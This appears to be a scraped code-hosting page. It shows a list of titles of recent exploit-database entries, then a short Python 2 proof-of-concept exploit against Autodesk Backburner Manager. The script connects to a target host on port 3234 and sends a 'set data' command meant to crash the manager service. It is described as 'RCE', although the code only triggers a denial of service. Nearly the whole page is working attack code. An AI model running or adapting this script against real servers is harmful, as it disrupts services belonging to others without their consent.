d0b74905e8
17 new exploits Google Android - 'pm_qos' KASLR Bypass macOS 10.12.1 / iOS 10.2 - Kernel Userspace Pointer Memory Corruption macOS 10.12.1 / iOS Kernel - 'IOService::matchPassive' Use-After-Free macOS 10.12.1 / iOS Kernel - 'host_self_trap' Use-After-Free Systemd 228 - Privilege Escalation (PoC) OpenSSH 6.8 < 6.9 - 'PTY' Privilege Escalation Autodesk Backburner Manager 3 < 2016.0.0.2150 - Null Dereference Denial of Service Haraka < 2.8.9 - Remote Command Execution Linux/x86_64 - execve /bin/sh Shellcode (22 bytes) Drupal 7.0 < 7.31 - SQL Injection (SA-CORE-2014-005) (1) Drupal 7.0 < 7.31 - SQL Injection (1) Drupal 7.0 < 7.31 - SQL Injection (SA-CORE-2014-005) (2) Drupal 7.0 < 7.31 - SQL Injection (2) Pear HTTP_Upload 1.0.0b3 - Arbitrary File Upload KB Affiliate Referral Script 1.0 - Authentication Bypass KB Login Authentication Script 1.1 - Authentication Bypass KB Messages PHP Script 1.0 - Authentication Bypass Web Based TimeSheet Script - Authentication Bypass TM RG4332 Wireless Router - Arbitrary File Disclosure PHPBack < 1.3.1 - SQL Injection / Cross-Site Scripting Polycom VVX Web Interface - Change Admin Password
90 lines
2 KiB
Python
Executable file
90 lines
2 KiB
Python
Executable file
import sys
|
|
import datetime
|
|
import socket
|
|
import argparse
|
|
import os
|
|
import time
|
|
|
|
remote_host = ''
|
|
remote_port = ''
|
|
|
|
def callExit():
|
|
print "\n\t\t[!] exiting at %s .....\n" % datetime.datetime.now()
|
|
sys.exit(1)
|
|
|
|
def mySocket():
|
|
try:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
except socket.error:
|
|
print 'Failed to create socket'
|
|
sys.exit()
|
|
|
|
print "\n\t[+] Socket Created"
|
|
|
|
s.connect((remote_host, remote_port))
|
|
print "\n\t[+] Socket Connected to %s on port %s" % (remote_host, remote_port)
|
|
|
|
return s
|
|
|
|
# 250 backburner 1.0 Ready.
|
|
def receiveBanner(s):
|
|
banner = s.recv(4096)
|
|
print banner
|
|
|
|
|
|
def receiveData(s):
|
|
data = s.recv(4096)
|
|
print data
|
|
|
|
|
|
def setDataCommand(s):
|
|
receiveData(s) # backburner>
|
|
print "Set Data Command"
|
|
time.sleep(1)
|
|
command = "set data\r\n"
|
|
try:
|
|
s.sendall(command)
|
|
except socket.error:
|
|
print 'Send failed'
|
|
sys.exit()
|
|
print "BackBurner Manager should have crashed"
|
|
receiveData(s) # 200 Help
|
|
receiveData(s) # Available Commands:.....and all set of commands
|
|
# backburner>
|
|
|
|
|
|
def main():
|
|
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
|
|
os.system('clear')
|
|
|
|
parser = argparse.ArgumentParser(description = 'RCE Autodesk BackBurner')
|
|
parser.add_argument('--host', nargs='?', dest='host', required=True, help='remote IP of Autodesk host')
|
|
parser.add_argument('--port', nargs='?', dest='port', default=3234, help='remote Port running manager.exe')
|
|
|
|
args = parser.parse_args()
|
|
|
|
if args.host == None:
|
|
print "\t[!] IP of remote host?"
|
|
sys.exit()
|
|
|
|
global remote_host
|
|
global remote_port
|
|
|
|
remote_host = args.host
|
|
remote_port = args.port
|
|
|
|
print "remote_host: %s" % remote_host
|
|
print "remote_port: %s" % remote_port
|
|
|
|
s = mySocket()
|
|
receiveBanner(s)
|
|
setDataCommand(s)
|
|
|
|
print 'exit'
|
|
sys.exit()
|
|
|
|
|
|
if __name__ == '__main__':
|
|
try: sys.exit(main())
|
|
except KeyboardInterrupt:
|
|
callExit()
|